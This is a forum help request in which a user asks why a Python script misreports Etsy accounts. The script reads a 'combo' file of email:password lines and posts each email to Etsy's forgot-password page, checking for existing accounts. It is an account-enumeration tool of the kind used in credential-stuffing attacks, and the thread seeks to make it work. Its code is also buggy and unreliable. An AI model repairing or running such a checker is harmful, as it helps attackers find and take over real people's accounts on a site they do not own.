Python Forum
requests problem in python script "content type"
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
requests problem in python script "content type"
#1
When I want to check the e-mail, it is on the site or not, and even though the e-mail is there, it tells me there is no!
Existing email is: [email protected]

Where is the problem perhaps in request data or not recognizing the text in success_keyword !!
import requests

def faild(email,):
    print(f"login is faild {email}")
def passed(email,):
    print(f"login is true {email}")

def checker(data,):
    email = data[0]
    success_keyword = "Veuillez entrer une adresse électronique valide"
    api_sender=requests.session()
    http = api_sender.post("https://www.etsy.com/forgot_password?email=", data={"email":email,"submit": "Submit"}).text
    content = http.content
    if success_keyword in content:
        passed(email)
    else:
        faild(email)
combos_name = input("Please Enter combo name:")
combos = open(combos_name, "r").readlines()
arranqe = [lines.replace("\n", "")for lines in combos]
for lines in arranqe:
    data = lines.split(":")
    checker(data)
Reply


Messages In This Thread
requests problem in python script "content type" - by abdlwafitahiri - Dec-29-2019, 09:57 AM
for loop problem in py - by abdlwafitahiri - Dec-29-2019, 02:29 PM

Possibly Related Threads…
Thread Author Replies Views Last Post
  Retrieve website content using Python? Vadanane 1 1,196 Jan-16-2023, 09:55 AM
Last Post: Axel_Erfurt
  POST requests - different requests return the same response Default_001 3 1,900 Mar-10-2022, 11:26 PM
Last Post: Default_001
  Python Obstacles | Krav Maga | Wiki Scraped Content [Column Copy] BrandonKastning 4 2,160 Jan-03-2022, 06:59 AM
Last Post: BrandonKastning
  Python Obstacles | Kapap | Wiki Scraped Content [Column Nulling] BrandonKastning 2 1,685 Jan-03-2022, 04:26 AM
Last Post: BrandonKastning
  Python Web Scraping can not getting all HTML content yqqwe123 0 1,614 Aug-02-2021, 08:56 AM
Last Post: yqqwe123
  Problem with logging in on website - python w/ requests GoldeNx 6 5,208 Sep-25-2020, 10:52 AM
Last Post: snippsat
  How to perform a successful login(signin) through Requests in Python Kalet 1 2,304 Apr-24-2020, 01:44 AM
Last Post: Larz60+
  Scraping problems with Python requests. gtlhbkkj 1 1,830 Jan-22-2020, 11:00 AM
Last Post: gtlhbkkj
  requests problem abdlwafitahiri 1 1,680 Dec-26-2019, 12:18 PM
Last Post: buran
  "I'm Feeling Lucky" script problem (again) tab_lo_lo 7 7,715 Jul-23-2019, 11:26 PM
Last Post: snippsat

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020